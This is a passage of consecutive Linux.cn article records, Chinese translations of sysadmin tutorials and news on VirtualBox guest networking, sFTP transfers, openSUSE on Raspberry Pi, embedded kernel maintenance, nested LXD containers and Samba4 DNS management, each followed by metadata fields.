] | https://linux.cn/article-8252-1.html | 当你在 [VirtualBox 虚拟机软件](http://www.tecmint.com/install-virtualbox-on-redhat-centos-fedora/) 中安装了各种操作系统时,你可能需要实现宿主机与虚拟机之间的相互访问。

在这篇文章中,我们将会以最简单明了的方式来说明如何配置客户机与 Linux 宿主机的网络,以实现两者相互访问或者让客户机连接到外网。(LCTT 译注:客户机指 Oracle VirtualBox 虚拟机软件中安装的操作系统,如本文中用到的 CentOS 7 和 Ubuntu 16.10 。宿主机就是你自己的笔记本电脑或台式机,注意这篇文章中作者的宿主机上安装的操作系统是 Linux Mint 18 ,而不是我们平时使用的 Windows 系统。)
本文测试环境: 1、宿主机操作系统—— Linux Mint 18 2、客户机操作系统—— CentOS 7 和 Ubuntu 16.10
#### 要求
1. 宿主机上安装的 VirtualBox 虚拟机 能正常使用。
2. 你得事先在 Oracle virtualBox 虚拟机软件中安装好客户机操作系统,比如 Ubuntu、Fedora、CentOS、 Linux Mint 或者其它的 Linux 系统也行。
3. 在你配置网络前,请先关闭客户机。
为了让宿主机和客户机能够互相联通,这两个机器的默认网卡 IP 必须设置在同一网段,你可以为客户机添加多达 4 块网卡。
默认网卡(网卡 1)通常用于使用 NAT 连接方式连接到宿主机进行上网。
重要提示:通常总是设置第一块网卡与宿主机通信,第二块网卡连接到外网。
### 为客户机和宿主机创建网卡
在下面的 VirtualBox 管理器界面,创建客户机和宿主机之间的通信网卡。
打开文件->首选项配置,或者使用组合键 `Ctrl + G` :

*Virtualbox 首选项界面*
在下图中有两个选项,单击并选择<ruby> 仅主机 <rp> ( </rp> <rt> Host-only </rt> <rp> ) </rp></ruby>网络。然后使用右侧的 `+` 按钮来添加一个新的仅主机网络。

*设置客户机网络*
这样就创建好了一个名为 vboxnet0 的新的仅主机模式网卡。
如果你愿意,你可以使用中间的 `-` 按钮来删除这个网卡,你可以单击编辑按钮来查看这个网卡的详细配置信息。
你也可以根据自己的实际环境修改配置信息,比如网络地址,子网掩码等等。
注意:下图中的 IPv4 地址就是你的宿主机的 IP 地址。

*宿主机网络信息*
下图中,如果你想让客户机使用动态 IP 地址,你可以通过配置 DHCP 服务来完成(在使用前请确保启用 DHCP )。但是我建议你为客户机配置一个静态 IP 地址。
在下面的设置所有网络界面单击 OK 按钮来保存修改的配置。

*为客户机设置静态 IP 地址*
#### 配置客户机网络设置
注意:你可以根据下面的步骤来为任何需要与宿主机通信的客户机添加网卡。
回到 VirtualBox 管理器界面,选择客户机,比如 Ubuntu 16.10 Server 或者 CentOS 7 ,然后单击设置菜单。

*配置客户机网络设置*
#### 配置客户机网卡以连接到宿主机
从下图的界面中选择网络选项。然后配置第一块网卡( 网卡 1 )的信息如下:
1. 勾选选项:“启用网卡”来开启该网卡。
2. 在连接方式选项:选择<ruby> 仅主机 <rp> ( </rp> <rt> Host-only </rt> <rp> ) </rp></ruby>网络。
3. 然后选择网卡名称:vboxnet0
如下图所示,单击 OK 来保存设置:

*启用客户机网络*
#### 配置客户机网卡连接外网
之后添加第二块网卡(网卡 2 )来让客户机连接到宿主机进行上网。使用下面的设置:
1. 勾选选项:“启用网络连接”来激活这块网卡。
2. 在连接方式选项:选择 NAT 方式。

为客户机启用网络连接
#### 为客户机设置静态 IP 地址
启动客户机,登录系统并[配置静态 IP 地址](http://www.tecmint.com/set-add-static-ip-address-in-linux/)。在客户机上执行下面的命令来查看所有网卡配置信息,然后分配一个 IP 地址:
```
$ ip add
```

*为客户机配置静态 IP 地址*
从上面的截图中可以看出客户机已启用了三块网卡:
1. `lo` ——回环网络接口
2. `enp0s3` (网卡 1)—— 前一步我们配置的连接方式为<ruby> 仅主机 <rp> ( </rp> <rt> Host-Only </rt> <rp> ) </rp></ruby>模式并且已启用 DHCP 的网卡,之后我们又配置成了静态 IP 地址。
3. `enp0s8` (网卡 2)—— 用于连接到外网。该网卡默认情况下使用 DHCP 来动态获取 IP 地址。
##### 在 Debian/Ubuntu/Linux Mint 系统下的配置
重要提示: 这里我使用的是 Ubuntu 16.10 Server , IP 地址为 192.168.56.5 。
使用你喜欢的编辑器及管理员账号打开 `/etc/network/interfaces` 配置文件:
```
$ sudo vi /etc/network/interfaces
```
修改网卡 enp0s3 的配置信息如下(根据你的实际环境进行修改):
```
auto enp0s3
iface enp0s3 inet static
address 192.168.56.5
network 192.168.56.0
netmask 255.255.255.0
gateway 192.168.56.1
dns-nameservers 8.8.8.8 192.168.56.1
```
保存并退出。
然后使用下面的命令来重启网络服务:
```
$ sudo systemctl restart networking
```
或者,正常重启系统,然后检查网络配置是否为新的 IP 地址:
```
$ ip add
```
##### 在 RHEL/CentOS/Fedora 系统下的配置
重要提示: 这里我使用的是 CentOS 7 系统, IP 地址为: 192.168.56.10 。
使用管理员帐号及你喜欢的编辑器打开 enp0s3 (仅主机网络)的网卡配置文件 `/etc/sysconfig/network-scripts/ifcfg-enp0s3` :
```
$ sudo vi /etc/sysconfig/network-scripts/ifcfg-enp0s3
```
创建或修改配置文件信息如下(根据你实际的环境进行修改):
```
BOOTPROTO=static
ONBOOT=yes
IPADDR=192.168.56.10
NETWORK=192.168.56.0
NETMASK=255.255.255.0
GATEWAY=192.168.56.1
DNS=8.8.8.8 192.168.56.1
NM_CONTROLLED=no #use this file not network manager to manage interface
```
保存并退出。然后使用下面的命令重启网络服务(也可以重启系统):
```
$ sudo systemctl restart network.service
```
检查修改的配置地信息是否生效:
```
$ ip add
```
#### 在宿主机上使用 SSH 工具来管理客户机
在宿主机上使用 SSH 工具来管理你的客户机。在下面的实例中,我将使用 SSH 工具连接到 CentOS 7 服务器(192.168.56.10):
```
$ ssh [email protected]
$ who
```

*使用 SSH 工具连接客户机*
就写到这里吧!在这篇文章中,我们用简单易懂的方法讲述了如何在宿主机与客户机之间设置网络连接方式。请在下面的评论区跟大家分享下你的想法。
---
作者简介:
Aaron Kili 是一名 Linux 和 F.O.S.S 爱好者,即将从事 Linux 系统管理员和网页开发工作,他日前是 TecMint 技术网站的原创作者,非常喜欢使用电脑工作,坚信分享知识是一种美德。
---
via: <http://www.tecmint.com/network-between-guest-vm-and-host-virtualbox/>
作者:[Aaron Kili](http://www.tecmint.com/author/aaronkili/) 译者:[rusking](https://github.com/rusking) 校对:[Bestony](https://github.com/Bestony)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,253 | 如何在 Linux 中使用 sFTP 上传或下载文件与文件夹 | http://www.tecmint.com/sftp-upload-download-directory-in-linux/ | 2017-03-01T14:34:09 | [
"FTP",
"sFTP"
] | https://linux.cn/article-8253-1.html | [sFTP(安全文件传输程序)](http://www.tecmint.com/sftp-command-examples/)是一种安全的交互式文件传输程序,其工作方式与 FTP(文件传输协议)类似。 然而,sFTP 比 FTP 更安全;它通过加密 SSH 传输处理所有操作。

它可以配置使用几个有用的 SSH 功能,如[公钥认证](/article-6901-1.html)和压缩。 它连接并登录到指定的远程机器,然后切换到交互式命令模式,在该模式下用户可以执行各种命令。
在本文中,我们将向你展示如何使用 sFTP 上传/下载整个目录(包括其子目录和子文件)。
### 如何在 Linux 中使用 sFTP 传输文件/文件夹
默认情况下,SFTP 协议采用和 SSH 传输协议一样的方式建立到远程服务器的安全连接。虽然,用户验证使用类似于 SSH 默认设置的密码方式,但是,建议[创建和使用 SSH 无密码登录](/article-6901-1.html),以简化和更安全地连接到远程主机。
要连接到远程 sftp 服务器,如下建立一个安全 SSH 连接并创建 SFTP 会话:
```
$ sftp [email protected]
```
登录到远程主机后,你可以如下运行交互式的 sFTP 命令:
```
sftp> ls #list directory
sftp> pwd #print working directory on remote host
sftp> lpwd #print working directory on local host
sftp> mkdir uploads #create a new directory
```

* Linux 主机上运行 sFTP 命令\*
#### 如何使用 sFTP 上传文件夹
要将整个目录上传到远程 Linux 主机中,请使用 `put` 命令。但是,如果目录名称不存在于远程主机上的工作目录中,你将收到错误,如下面的屏幕截图所示。
因此,首先在远程主机上创建一个具有相同名称的目录,然后从本地主机上传它,`-r` 参数允许拷贝子目录和子文件:
```
sftp> put -r Tecmint.com-articles
sftp> mkdir Tecmint.com-articles
sftp> put -r Tecmint.com-articles
```

*使用 sFTP 上传文件夹*
要保留修改时间、访问时间以及被传输的文件的模式,请使用 `-p` 标志。
```
sftp> put -pr Tecmint.com-articles
```
#### 如何使用 sFTP 下载文件夹
要从远程 Linux 主机下载整个 fstools-0.0 文件夹到本机中,如下所示使用 get 命令带上 `-r` 标志:
```
sftp> get -r fstools-0.0
```

*使用 sFTP 下载目录*
如果文件夹已经下载完成了,接着查看本机的工作目录。
要退出 sFTP shell,输入:
```
sftp> bye
或者
sftp> exit
```
此外,阅读这篇 [sFTP 命令和使用技巧](http://www.tecmint.com/sftp-command-examples/)。
请注意,为了防止用户访问远程主机上的整个文件系统,出于安全原因,你可以使用 chroot Jail [将 sFTP 用户限制到其主目录](http://www.tecmint.com/restrict-sftp-user-home-directories-using-chroot/)中。
就是这样了!在本文中,我们向你展示了如何使用 sFTP 上传/下载整个目录。使用下面的评论栏向我们提供你对本文/主题的看法。
---
作者简介:
Aaron Kili 是 Linux 和 F.O.S.S 爱好者,将来的 Linux 系统管理员和网络开发人员,目前是 TecMint 的内容创作者,他喜欢用电脑工作,并坚信分享知识。
---
via: <http://www.tecmint.com/sftp-upload-download-directory-in-linux/>
作者:[Aaron Kili](http://www.tecmint.com/author/aaronkili/) 译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,255 | 在树莓派 3 上运行 openSUSE:简单几步搭建一个实用系统 | https://www.suse.com/communities/blog/opensuse-raspberry-pi-3-zero-functional-system-easy-steps/ | 2017-03-02T07:46:00 | [
"树莓派",
"openSUSE"
] | https://linux.cn/article-8255-1.html | 本文由 SUSE 文档团队的技术作者 Dmitri Popov 撰写。
>
> 在[树莓派 3](https://www.raspberrypi.org/)上部署 [openSUSE](https://www.opensuse.org/) 系统不是很复杂,不过这儿有一些小技巧教你更好地完成这个过程。
>
>
>
首先,你将会有一些版本可供选择。如果你打算使用树莓派 3 作为一个普通主机,那么带有图形界面的 openSUSE 将是你最好的选择。有几种不同的图形环境可供选择:[X11](https://www.x.org/wiki/)、[Enlightenment](https://www.enlightenment.org/)、[Xfce](https://www.xfce.org/) 或是 [LXQT](http://lxqt.org/)。openSUSE 还有一个 JeOS 版本能够提供最基础的系统,可以把树莓派 3 作为一个无显示器的服务器使用。更好的选择还有 openSUSE 的 [Leap](https://www.opensuse.org/#Leap) 或 [Tumbleweed](https://www.opensuse.org/#Tumbleweed) 版本。

首先你需要从 <https://en.opensuse.org/HCL:Raspberry_Pi3> 下载所需的 openSUSE 镜像,然后制作一张可启动的 microSD 卡。虽然可以使用命令行工具将下载好的镜像写入 microSD 卡,但 [Etcher](https://etcher.io/) 可以使这个过程更轻松安全。从该项目网站上获取该程序,解压下载的 .zip 文件,并使用以下命令把得到的 .AppImage 文件设置为可执行:
```
chmod +x Etcher-x.x.x-linux-x64.AppImage
```
将 microSD 卡插入电脑,双击运行 Etcher 软件,选择下载好的 .raw.xz 镜像文件,点击 **Flash!** 按钮。然后将显示器和键盘连接到树莓派 3,插入 microSD 卡,启动树莓派。第一次启动时,openSUSE 会自动扩展文件系统以充分利用 microSD 卡上的剩余空间。这时你将看到以下信息:
```
GPT data structures destroyed! You may now partition the disk using fdisk or other utilities
GPT 数据结构被破坏!您需要使用 fdisk 或其它工具对磁盘分区。
```
不用担心,稍等两分钟,openSUSE 将继续正常启动。当看到提示时,输入默认用户名 `root` 和默认密码 `linux` 登录系统。
如果你选择在树莓派 3 上部署 JeOS 版本,第一次启动时你不会看到屏幕上有任何输出。也就是说,屏幕会一直保持空白,直到系统完成对文件系统的扩展。你可以通过配置内核参数来显示输出,不过没有必要做这麻烦事。只需稍等片刻,你就能看到命令行提示。
由于 openSUSE 已经启用并且配置了 SSH 服务,所以启动树莓派时你可以不用显示器。这样的话,你就需要使用网卡接口将树莓派连接到网络中。给树莓派足够的时间来启动和扩展系统后,你就能够从同一网络中的其他主机,使用 `ssh [email protected]` 命令,通过 SSH 服务连接树莓派。
默认情况下你将以 `root` 用户登录系统,所以创建一个普通用户是个不错的主意。你可以使用 YaST 配置工具轻松完成这件事。运行 `yast2` 命令,选择 <ruby> <strong> 安全与用户 </strong> <rt> Security and Users </rt></ruby> -> **<ruby> 用户与用户组管理 <rt> User and Group Management </rt></ruby>** 选项,就可以创建新用户了。你还可以选择 **<ruby> 系统 <rt> System </rt></ruby>** -> **<ruby> 在线升级 <rt> Online Update </rt></ruby>**选项来更新系统。完成之后,退出 YaST ,重启树莓派,然后使用新创建的用户登录系统。
一切搞定,不过还有一个重要的系统组件不能正常工作,那就是无线接口。当然,这个问题也可以轻松解决。首先使用以下命令安装 nano 文本编辑器:
```
sudo zypper in nano
```
然后运行以下命令修改 `raspberrypi_modules.conf` 文件:
```
sudo nano/etc/dracut.conf.d/raspberrypi_modules.conf
```
删除文件第一行的 `sdhci_iproc` ,再取消最后一行的注释。运行以下命令保存修改:
```
mkinitrd -f
```
最后,重启树莓派。

再次运行 YaST ,在**<ruby> 系统 <rt> System </rt></ruby>** -> **<ruby> 网络设置 <rt> Network Settings </rt></ruby>**区域,你应该能在网络接口列表中看到 `BCM43430 WLAN Card` 项。选择这一项,点击 **<ruby> 编辑 <rt> Edit </rt></ruby>** 按钮。开启**<ruby> 动态地址分配 <rt> Dynamic Address DHCP </rt></ruby>**选项,点击**下一步**,选择你想要连接的无线网络,配置所需的连接设置。点击**下一步**和**确定**保存设置。重启树莓派,它应该就能连接上特定的 Wi-Fi 网络了。
至此,你就完成了树莓派上的系统部署。
---
via: <https://www.suse.com/communities/blog/opensuse-raspberry-pi-3-zero-functional-system-easy-steps/>
作者:[chabowski](https://www.suse.com/communities/blog/author/chabowski/) 译者:[Cathon](https://github.com/Cathon) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,256 | 长期维护嵌入式 Linux 内核变得容易 | https://www.linux.com/news/event/ELCE/2017/long-term-embedded-linux-maintenance-made-easier | 2017-03-02T09:12:00 | [
"嵌入式",
"安全"
] | https://linux.cn/article-8256-1.html | 
*Pengutronix 内核黑客 Jan Lübbe 总结了嵌入式 Linux 中正在不断增长的安全威胁,并在这次欧洲嵌入式 Linux 会议上概述了一个计划,以保持长期设备的安全和功能完整。* [Linux 基金会](https://www.linux.com/licenses/category/linux-foundation)
安全漏洞只发生在 Windows 上的好日子正在快速过去。恶意软件黑客和拒绝服务老手们正在越来越多地瞄准过时的嵌入式 Linux 设备,因此在 10 月的[<ruby> 欧洲嵌入式 Linux 会议 <rt> Embedded Linux Conference Europe </rt></ruby>](http://events.linuxfoundation.org/events/archive/2016/embedded-linux-conference-europe)(ELCE)上的几个演讲的主题就与修复 Linux 安全漏洞相关。
最值得去听的讲演之一是 [Pengutronix](http://www.pengutronix.de/index_en.html) 内核黑客 Jan Lübbe 的《长期维护或管理(或免管理)嵌入式系统 10 年以上》。在总结嵌入式 Linux 中不断增长的安全威胁后,Lübbe 制定了一项计划,以确保长期设备的安全和功能完整。 Lübbe 说:“我们需要迁移到更新、更稳定的内核,并进行持续维护以修复关键漏洞。我们需要做上游更新和自动化流程,并建立一个可持续的工作流程。我们没有理由让系统中仍留有过时的软件。”
随着 Linux 设备变得越来越老,传统的生命周期过程已经不再适用。 Lübbe 说:“通常,你会从 SoC 供应商或主线上获取内核、构建系统,并添加到用户空间。你可以定制和添加程序,并做一些测试。但是,在此之后有 15 年的维护阶段,你最好期望平台不会发生变化、不会想要添加新的功能、不需要实施管理调整。”
所有这些变化,越来越多地导致你的系统暴露出新的错误,并需要大量更新以才能与上游软件保持同步。 Lübbe 说:“在内核中发生导致问题的错误并不总是无意的”。对于去年在 Allwinner 内核中发现的[后门](http://arstechnica.com/security/2016/05/chinese-arm-vendor-left-developer-backdoor-in-kernel-for-android-pi-devices/),他又补充说:“这些供应商的内核从来不会执行主线内核社区的审查流程”。
Lübbe 继续说:“你不能认为你的供应商一直没问题。也许只有一两个工程师查看过后门代码这块。如果补丁发布在 Linux 内核邮件列表上,就不会有这种事,因为总会有人注意到。硬件供应商不关心安全或维护,也许你会在一两年后得到更新,但是即使这样,他们从一个固定版本开始开发,到他们发布稳定的版本通常需要几年的时间。如果你在这个基础上再开始开发,可能又过了半年,这就更过时了。”
越来越多的嵌入式开发人员在<ruby> 长期稳定 <rt> Long Term Stable </rt></ruby>(LTS)内核上构建长期产品。但这并不意味着没事了。Lübbe 说:“一个产品发布后,人们经常不再遵循稳定的发行链,也不再应用安全补丁。这样你会得到两个最糟糕的结果:过时的内核和没有安全性。你失去了多人测试的好处。”
Lübbe 指出,使用像 Red Hat 这样的面向服务器的发行版的 Pengutronix 客户经常由于快速的定制、需要系统管理员干预的部署和升级系统而遇到问题。
“更新对一些东西有用,特别是在 x86 上,但每个项目基本上是自己建立基础设施来更新到新版本。”
许多开发人员选择把向后移植作为更新长期产品的解决方案。Lübbe 说:“开始时很容易,但是一旦你不处于项目的维护范围,他们就不会告诉你所使用的版本是否受到一个 bug 的影响,因此很难判断一个修复是否相关。于是你不停打补丁和更新,而 bug 也在不断累积,而这些你必须自己维护,因为其他人不使用这些补丁。使用开源软件的好处就丢失了。”
### 跟随上游项目
Lübbe 认为,最好的解决方案是跟踪由上游项目维护的版本。“我们主要关注基于主线内核的开发,所以我们在产品和主流内核及其他上游项目之间尽可能没有差别。长期系统在主线内核上得到很好的支持。大多数不使用 3D 图形的系统只需要很少的补丁。较新的内核版本还有很多[新的强化功能](https://www.linux.com/news/event/ELCE/2017hardening-kernel-protect-against-attackers),这些可以减少漏洞的影响。
跟随主线发展对许多开发人员来说似乎令人畏惧,但是如果从一开始就这样,然后坚持下去,就会相对容易一些,Lübbe 说:“你需要为系统上做的一切制定流程。你总需要知道什么软件正在运行,这在使用良好的构建系统时会更容易。每个软件版本应定义完整的系统,以便你可以更新相关的一切。如果你不知道那里有什么,你就不能解决它。你也需要一个自动测试和自动部署更新。”
为了“减少更新周期”,Lübbe 建议在开始开发时使用最新的 Linux 内核,并且在进入测试时才转到稳定的内核。之后,他建议每年将系统中的所有软件(包括内核、构建系统、用户空间、glibc 和组件(如 OpenSSL))更新为当年上游项目支持的版本。
Lübbe 说:“得到更新并不意味着你需要部署。如果没有看到安全漏洞,你可以把补丁放在一边,需要时它再用就行。”
最后,Lübbe 建议每个月查看发布公告,并且每周检查 CVE 和主线列表上的安全公告。你只需要问自己“该安全公告是否影响到了你”。他补充说:“如果你的内核足够新,就没有太多的工作。你不会希望通过在新闻中看到你的设备才获得有关你的产品的反馈。”
---
via: <https://www.linux.com/news/event/ELCE/2017/long-term-embedded-linux-maintenance-made-easier>
作者:[ERIC BROWN](https://www.linux.com/users/ericstephenbrown) 译者:[geekpi](https://github.com/geekpi) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,257 | LXD 2.0 系列(八):LXD 中的 LXD | https://www.stgraber.org/2016/04/14/lxd-2-0-lxd-in-lxd-812/ | 2017-03-02T09:53:00 | [
"LXD"
] | https://linux.cn/article-8257-1.html | 这是 LXD 2.0 系列介绍文章的第八篇。
1. [LXD 入门](/article-7618-1.html)
2. [安装与配置](/article-7687-1.html)
3. [你的第一个 LXD 容器](/article-7706-1.html)
4. [资源控制](/article-8072-1.html)
5. [镜像管理](/article-8107-1.html)
6. [远程主机及容器迁移](/article-8169-1.html)
7. [LXD 中的 Docker](/article-8235-1.html)
8. [LXD 中的 LXD](/article-8257-1.html)
9. [实时迁移](/article-8263-1.html)
10. [LXD 和 Juju](/article-8273-1.html)
11. [LXD 和 OpenStack](/article-8274-1.html)
12. [调试,及给 LXD 做贡献](/article-8282-1.html)

### 介绍
在上一篇文章中,我介绍了如何[在 LXD 中运行 Docker](/article-8235-1.html),这是一个访问由 Docker 提供的应用程序组合的很好方式,同时 Docker 还运行在 LXD 提供的安全环境中。
我提到的一个情况是为你的用户提供一个 LXD 容器,然后让他们使用他们的容器来运行 Docker。那么,如果他们自己想要在其容器中使用 LXD 运行其他 Linux 发行版,或者甚至允许另一组人来访问运行在他们的容器中的 Linux 系统呢?
原来 LXD 使得用户运行嵌套容器变得非常简单。
### 嵌套 LXD
最简单的情况可以使用 Ubuntu 16.04 镜像来展示。 Ubuntu 16.04 云镜像预装了 LXD。守护进程本身没有运行,因为它是由套接字激活的,所以它不使用任何资源,直到你真正使用它。
让我们启动一个启用了嵌套的 Ubuntu 16.04 容器:
```
lxc launch ubuntu-daily:16.04 c1 -c security.nesting=true
```
你也可以在一个已有的容器上设置 `security.nesting`:
```
lxc config set <container name> security.nesting true
```
或者对所有的容器使用一个指定的配置文件:
```
lxc profile set <profile name> security.nesting true
```
容器启动后,你可以从容器内部得到一个 shell,配置 LXD 并生成一个容器:
```
stgraber@dakara:~$ lxc launch ubuntu-daily:16.04 c1 -c security.nesting=true
Creating c1
Starting c1
stgraber@dakara:~$ lxc exec c1 bash
root@c1:~# lxd init
Name of the storage backend to use (dir or zfs): dir
We detected that you are running inside an unprivileged container.
This means that unless you manually configured your host otherwise,
you will not have enough uid and gid to allocate to your containers.
LXD can re-use your container's own allocation to avoid the problem.
Doing so makes your nested containers slightly less safe as they could
in theory attack their parent container and gain more privileges than
they otherwise would.
Would you like to have your containers share their parent's allocation (yes/no)? yes
Would you like LXD to be available over the network (yes/no)? no
Do you want to configure the LXD bridge (yes/no)? yes
Warning: Stopping lxd.service, but it can still be activated by:
lxd.socket
LXD has been successfully configured.
root@c1:~# lxc launch ubuntu:14.04 trusty
Generating a client certificate. This may take a minute...
If this is your first time using LXD, you should also run: sudo lxd init
Creating trusty
Retrieving image: 100%
Starting trusty
root@c1:~# lxc list
+--------+---------+-----------------------+----------------------------------------------+------------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+--------+---------+-----------------------+----------------------------------------------+------------+-----------+
| trusty | RUNNING | 10.153.141.124 (eth0) | fd7:f15d:d1d6:da14:216:3eff:fef1:4002 (eth0) | PERSISTENT | 0 |
+--------+---------+-----------------------+----------------------------------------------+------------+-----------+
root@c1:~#
```
就是这样简单。
### 在线演示服务器
因为这篇文章很短,我想我会花一点时间谈论我们运行中的[演示服务器](https://linuxcontainers.org/lxd/try-it/)。我们今天早些时候刚刚达到了 10000 个会话!
这个服务器基本上只是一个运行在一个相当强大的虚拟机上的正常的 LXD,一个小型的守护进程实现了我们的网站所使用的 REST API。
当你接受服务条款时,将为你创建一个新的 LXD 容器,并启用 `security.nesting`,如上所述。接着你就像使用 `lxc exec` 时一样连接到了那个容器,除了我们使用 websockets 和 javascript 来做这些。
你在此环境中创建的容器都是嵌套的 LXD 容器。如果你想,你可以进一步地嵌套。
我们全范围地使用了 [LXD 资源限制](https://www.stgraber.org/2016/03/26/lxd-2-0-resource-control-412/),以防止一个用户的行为影响其他用户,并仔细监控服务器的任何滥用迹象。
如果你想运行自己的类似的服务器,你可以获取我们的网站和守护进程的代码:
```
git clone https://github.com/lxc/linuxcontainers.org
git clone https://github.com/lxc/lxd-demo-server
```
### 额外信息
LXD 的主站在: <https://linuxcontainers.org/lxd>
LXD 的 GitHub 仓库: <https://github.com/lxc/lxd>
LXD 的邮件列表: <https://lists.linuxcontainers.org>
LXD 的 IRC 频道: #lxcontainers on irc.freenode.net
---
作者简介:我是 Stéphane Graber。我是 LXC 和 LXD 项目的领导者,目前在加拿大魁北克蒙特利尔的家所在的Canonical 有限公司担任 LXD 的技术主管。
---
via: <https://www.stgraber.org/2016/04/14/lxd-2-0-lxd-in-lxd-812/>
作者:[Stéphane Graber](https://www.stgraber.org/author/stgraber/) 译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 组织翻译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,258 | Samba 系列(四):在 Windows 下管理 Samba4 AD 域管制器 DNS 和组策略 | http://www.tecmint.com/manage-samba4-dns-group-policy-from-windows/ | 2017-03-02T10:35:34 | [
"Samba",
"DNS"
] | https://linux.cn/article-8258-1.html | 接着前一篇教程写的关于[使用 Windows 10 的 RSAT 工具来管理 Samba4 活动目录架构](/article-8097-1.html),在这篇文章中我们将学习如何使用微软 DNS 管理器远程管理我们的 Samba AD 域控制器的 DNS 服务器,如何创建 DNS 记录,如何创建反向查找区域以及如何通过组策略管理工具来创建域策略。

#### 要求
1、 [在 Ubuntu 16.04 系统上使用 Samba4 软件来创建活动目录架构(一)](/article-8065-1.html)
2、 [在 Linux 命令行下管理 Samba4 AD 架构(二)](/article-8070-1.html)
3、 [使用 Windows 10 的 RSAT 工具来管理 Samba4 活动目录架构 (三)](/article-8097-1.html)
### 第 1 步:管理 Samba DNS 服务器
Samba4 AD DC 使用内部的 DNS 解析器模块,该模块在初始化域提供的过程中创建(如果 BIND9 DLZ 模块未指定使用的情况下)。
Samba4 内部的 DNS 模块支持 AD 域控制器所必须的基本功能。有两种方式来管理域 DNS 服务器,直接在命令行下通过 samba-tool 接口来管理,或者使用已加入域的微软工作站中的 RSAT DNS 管理器远程进行管理。
在这篇文章中,我们使用第二种方式来进行管理,因为这种方式很直观,也不容易出错。
1、要使用 RSAT 工具来管理域控制器上的 DNS 服务器,在 Windows 机器上,打开控制面板 -> 系统和安全 -> 管理工具,然后运行 DNS 管理器工具。
当打开这个工具时,它会询问你将要连接到哪台正在运行的 DNS 服务器。选择“使用下面的计算机”,输入域名(IP 地址或 FQDN 地址都可以使用),勾选“现在连接到指定计算机”,然后单击 OK 按钮以开启 Samba DNS 服务。

*在 Windows 系统上连接 Samba4 DNS 服务器*
2、为了添加一条 DNS 记录(比如我们添加一条指向 LAN 网关的 A 记录),打开 DNS 管理器,找到域正向查找区,在右侧单击右键选择新的主机(A 或 AAAA)。

*在 Windows 下添加一条 DNS 记录*
3、在打开的新主机窗口界面,输入 DNS 服务器的主机名和 IP 地址。 DNS 管理器工具会自动填写完成 FQDN 地址。填写完成后,点击“添加主机”按钮,之后会弹出一个新的窗口提示你 DNS A 记录已经创建完成。
确保仅为你的网络中[已配置静态 IP](http://www.tecmint.com/set-add-static-ip-address-in-linux/)的资源(设备)添加 DNS A 记录。不要为那些从 DHCP 服务器自动获取 IP 地址或者经常变换 IP 地址的主机添加 DNS A 记录。

*在 Windows 系统下配置 Samba 主机*
要更新一条 DNS 记录只需要双击那条记录,然后输入更改即可。要删除一条记录时,只需要在这条记录上单击右键,选择从菜单删除即可。
同样的方式,你也可以为你的域添加其它类型的 DNS 记录,比如说 CNAME 记录(也称为 DNS 别名记录),MX 记录(在邮件服务器上非常有用)或者其它类型的记录(SPE、TXT、SRV 等类型)。
### 第 2 步:创建反向查找区域
默认情况下,Samba4 AD DC 不会自动为你的域添加一个反向查找区域和 PTR 记录,因为这些类型的记录对于域控制器的正常工作来说是无关紧要的。
相反,DNS 反向区和 PTR 记录在一些重要的网络服务中显得非常有用,比如邮件服务,因为这些类型的记录可以用于验证客户端请求服务的身份。
实际上, PTR 记录的功能与标准的 DNS 记录功能相反。客户端知道资源的 IP 地址,然后去查询 DNS 服务器来识别出已注册的 DNS 名字。
4、要创建 Samba AD DC 的反向查找区域,打开 DNS 管理器,在左侧反向查找区域目录上单击右键,然后选择菜单中的新区域。

*创建 DNS 反向查找区域*
5、下一步,单击下一步按钮,然后从区域类型向导中选择主区域(Primary)。

*选择 DNS 区域类型*
6、下一步,在 “AD 区域复制范围”中选择复制到该域里运行在域控制器上的所有的 DNS 服务器,选择 “IPv4 反向查找区域”然后单击下一步继续。

*为 Samba 域控制器选择 DNS 服务器*

*添加反向查找区域名*
7、下一步,在网络ID 框中输入你的 LAN IP 地址,然后单击下一步继续。
在这个区域内添加的所有资源(设备)的 PTR 记录仅能指向 192.168.1.0/24 网络段。如果你想要为一个不在该网段中的服务器创建一个 PTR 记录(比如邮件服务器位于 10.0.0.0/24 这个网段的时候),那么你还得为那个网段创建一个新的反向查找区域。

*添加 DNS 反向查找区域的 IP 地址*
8、在下一个截图中选择“仅允许安全的动态更新”,单击下一步继续,最后单击完成按钮以完成反向查找区域的创建。

*启用安全动态更新*

*新 DNS 区域概览*
9、此时,你已经为你的域环境创建完成了一个有效的 DNS 反向查找区域。为了在这个区域中添加一个 PTR 记录,在右侧右键单击,选择为网络资源创建一个 PTR 记录。
这个时候,我们已经为网关创建了一个指向。为了测试这条记录对于客户端是否添加正确和工作正常,打开命令行提示符执行 `nslookup` 查询资源名,再执行另外一条命令查询 IP 地址。
两个查询都应该为你的 DNS 资源返回正确的结果。
```
nslookup gate.tecmint.lan
nslookup 192.168.1.1
ping gate
```

*添加及查询 PTR 记录*
### 第 3 步:管理域控制策略
10、域控制器最重要的作用就是集中控制系统资源及安全。使用域控制器的域组策略功能很容易实现这些类型的任务。
遗憾的是,在 Samba 域控制器上唯一用来编辑或管理组策略的方法是通过微软的 RSAT GPM 工具。
在下面的实例中,我们将看到通过组策略来实现在 Samba 域环境中为域用户创建一种交互式的登录提示是多么的简单。
要访问组策略控制台,打开控制面板 -> 系统和安全 -> 管理工具,然后打开组策略管理控制台。
展开你的域下面的目录,在默认组策略上右键,选择菜单中的编辑,将出现一个新的窗口。

*管理 Samba 域组策略*
